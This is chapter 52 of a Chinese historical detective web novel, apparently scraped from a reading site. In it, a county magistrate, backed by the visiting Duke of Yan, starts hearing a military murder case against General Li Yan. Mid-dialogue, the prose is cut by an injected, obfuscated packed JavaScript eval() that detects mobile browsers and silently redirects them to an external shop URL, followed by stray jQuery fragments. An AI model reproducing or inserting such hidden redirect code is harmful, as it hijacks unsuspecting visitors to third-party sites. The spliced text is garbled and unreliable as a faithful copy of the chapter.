52
林与闻没回县衙,他坐在袁宇的床上紧紧攥着手里的包袱,两眼呆滞地看着地面,“这个成凉有点东西啊。”
“动机咱们是找到了,但是谁能真的审李炎啊,”袁宇给他沏了杯热茶,“你那个玉公公肯定是不行的。”
林与闻呼了口气,“我猜玉公公根本想不到他这个案子能惹出这么大的事情。”
“你说,”林与闻看着包袱,又看袁宇递过来的水,想了想,还是抱紧了包袱,探着身子用嘴够那杯子,“这李炎要是知道咱们有了这些,会不会直接冲进来把咱们也杀了啊。”
袁宇皱着脸喂他水,“你快别瞎想了,大晚上的。”
“你也觉得会是吧!”
林与闻心里只有后悔,“当初就不应该趟这个浑水。”
袁宇摇头,“想当初也没有用,快想想现在怎么办吧。”
“我写信给首辅?”
“你觉得可能吗,”袁宇看林与闻喝了大半杯了,就把水收回来,放在自己的膝盖上,“现在你可不只是有玉公公监视着,李炎肯定也随时准备抓你的小辫子呢。”
“你这时给首辅送信,怕是根本送不到首辅的手上,还得把你自己赔进去。”
林与闻把脸埋在包袱里,里面纸张都软了,“我可不想死在这时候,我还停职呢,这都不能以官员的规格埋葬。”
“我这不白考了进士了,我可是十年苦读——”林与闻悲从中来,但就算眼泪要溢出来他也不敢蹭到包袱里的纸。
“你这破嘴。”
袁宇不想理他,他必须想个办法既能让林与闻脱困,又能让李炎受审,为自己的杀人之罪付出代价。
要不直接给父亲。
不行,父亲的地位太微妙了,虽然掌握军权,但和陛下的关系有点远,没准会弄巧成拙,而且自己现在估计与林与闻的处境应该差不多,这东西可能没到天津,自己的命就没了。
父亲不行,那……
袁宇突然打了个激灵,把林与闻吓了一跳,“季卿你冷静,武力是解决不了任何问题的。”
“哈?”
“你是不是想先下手为强,发起兵变,控制李炎再把他押回京城,到陛下面前受审?”
看林与闻那魔怔了的表情,袁宇觉得再让他想一会,自己九族都要没了。
“当然不会,我才是个千户,我怎么起兵,”袁宇点点头,“你这几日守好这个包袱,我要出门一趟。”
“……”
林与闻看看袁宇,又看看手里的烫手山芋,只能无奈地点头。
……
“谁能想到我陪公主到苏州游玩,竟然能碰到季卿。”燕国公拉着袁宇的手,喜笑颜开地走在前面。
李炎和严玉跟在他们二人身后,都一副气闷的表情。
更后面就轮到了林与闻和沈宏博这些低级官员,他们俩凑在一起,一个劲说悄悄话。
“燕国公诶,我以为他三年前卸了兵权就不会再管事了呢。”
“我也没想到,袁宇去请,他竟然就来了。”林与闻也觉得惊讶,他也没想到袁宇所谓的办法是请了这么个人物来。
燕国公的先祖有从龙之功,这爵位是世袭得来的,但他本人并没有躺在祖辈的功劳上享福而是像他的祖辈一样为圣上带兵驻守边疆。
但市井里对他的了解更多是因为他当年使玉山大长公主一见倾心,非卿不嫁,绝食闹得先帝爷不得不赐婚的轶事。二位也是真恩爱,这都七十了还一同游苏州呢。
燕国公既位高权重,又是皇室,他当真镇得住李炎和严玉这两个人。
“我听说你们扬州卫还出新奇事了,”燕国公转头对李炎笑,“我赶上了吗?”
李炎抿着嘴,还没回答,袁宇就说,“赶上了赶上了国公爷,这不正十五嘛。”
严玉低着头,不知道在想什么。
燕国公哈哈笑了两声,“那就好那就好,我这人越老越爱热闹,一会谁要审案子,小李吗?”
李炎对他一拜,“正是。”
老爷子啧了两声,“可我听说那小兵想要冤枉你啊,这不该回避吗?”
见李炎不回话,老爷子朝后面喊,“有没有懂这刑名的人啊,这该不该回避啊?”
不愧是武将出身,这个岁数了仍然声如洪钟,把扬州这几个芝麻小官震得身体都抖。
“回国公爷,江都县令林与闻原先是刑部出身!”
沈宏博想都没想就把林与闻出卖了。
“谁?”
身后人全让开,留林与闻孤零零与老爷子四眼相对。
林与闻心里再恨不得给沈宏博剁碎了,现在也得给燕国公行礼,“国公爷,下官在刑部也只是做些微小工作,谈不上对刑名精通。”
“你就是林与闻啊。”老爷子抓紧袁宇的手,让他扶着自己往前走了两步。
他来到林与闻跟前,抬手,“你抬起头来给老夫看看。”
林与闻抬头,用尽所有的力气,挤出一个最谄媚的笑容,“国公爷。”
“啊,”燕国公眨眨眼,“你爹跟我说他长得还不错的,现在看来……”
袁宇嘶了口气,朝林与闻摇头,要他别那副表情。
林与闻赶紧恢复正常,“国公爷。”
燕国公点了下头,“这样还好些,在京城时候,公主看了你那副挽联。”
林与闻心想完了完了,好不容易严玉不审判自己了,换国公爷来了。
“她很喜欢,”燕国公看起来特别慈祥,“她说不管是妓女还是良家女,只要女子被尊重她就喜欢。”
林与闻眨眨眼,这事过关了。
“你连贱籍的案子都愿意查,这个案子也你来审吧。”燕国公拍了下林与闻的肩膀,“跟上来。”
袁宇扶着国公爷,朝林与闻眨了下眼睛。
真有你的啊,袁季卿。
……
林与闻看着这一营帐的人,发现只有自己的官阶最小,连侍立在国公爷身边的兵士都是六品。
而他却坐在最中间。
“国公爷,”李炎还想做最后的努力,“这案子是军中发生的,这一般不能让外人来审啊,他什么都不知道。”
燕国公嗯了一声,“但我也不清楚这案子啊,要不你给我们讲讲?”
“啊……?”李炎实在没想到燕国公竟然是这样行事,太轻率了吧。
李炎吸了口气,“这事情很复杂,我把案卷拿给
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13404473|137056||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
您看。”
“哎呀,”燕国公皱皱嘴,“老夫看不了那么多字,你讲讲嘛,看看到底有多复杂。”
李炎明显有些慌了,但是还是稳住自己的情绪,“这个凶手严正圆,与死者成凉原是好友,后来因为小事起了争执,严正圆就起了杀意,连捅了成凉十二刀。”
“这不也不复杂嘛。”
李炎咽下口水,“啊……他还偷了我的刀!想诬陷与我!”
燕国公点点头,“这件事情确实,你毕竟身份特殊,他与你这样大的仇怨,确实很复杂。”
“是啊国公爷,这件事还是送到京城审吧,一个小县令可不该碰这案子。”
“不是有我吗!”国公爷拍拍自己的肚子,他歪头看李炎,“我总审得你吧?”
李炎什么话都不敢再说了。
国公爷转回来,脸上还是那副笑盈盈的样子,“小林县令,审吧。”
“是。”林与闻咽了下口水,这是关乎他和袁宇生死的案子,他决不能露怯,
“带证人!”
燕国公惊讶了一下,他一回头,站在他后面的袁宇立刻弯腰,“国公爷?”
“他还挺有趣,第一次听说先审证人的。”
“可能是为了让大家都先了解案情吧。”
“好好。”燕国公点头,看到四个兵士走进来,证人还挺多啊。
“拜见国公爷,拜见李将军,拜见——”
“停!”林与闻做了个手势,“这在座的都是官,你们这样拜下去要拜到明天早上了。”
“噗嗤。”老爷子真是一点情绪都不藏着啊,“林县令说得对,这些虚礼就省了吧。”
林与闻侧过头对国公爷一拱手,又转回来,“你们都是白虎营的兵士吗?”
“是。”四个人中有个打头的。
“与死者成凉和严正圆住在同一个营帐?”
“是。”
“你们觉得死者与严正圆的关系如何?”
“他们俩一起进的营,比跟我们的关系好。”
“那你们说听到他们两个争吵?”
“没错,那天我们训练回来打算先休息的,然后一进门就看到那个成凉把严正圆推开,严正圆看到我们就直接走了出去。”
“然后呢?”
“然后我们就去吃饭了,吃完饭再回来,”他们四个互相看了一眼,“成凉就死了,浑身是血躺在床上,我们就找严正圆,知道他跑了。”
“所以你们觉得就是严正圆杀的人?”
四个小兵一同发愣,其中有个眼神追向李炎,李炎却没看他。
“当然是他杀的了,他不杀人他跑什么,”打头的那个赶紧说,“他自己也承认了。”
“好,本官知道了。”林与闻竟没有追问,而是换了个问题,“你们平常怎么训练啊?”
“这和本案有关系吗?”李炎终于开口。
林与闻下意识就怼回去,“有关系啊,他们不说训练回来遇到的成凉和严正圆争吵吗?”
“诶呀,小李,你让林大人问嘛。”燕国公朝李炎招招手。
林与闻本来还后怕呢,但是看燕国公给自己撑腰,立刻就换上一副我就要问你拿我怎样的神情。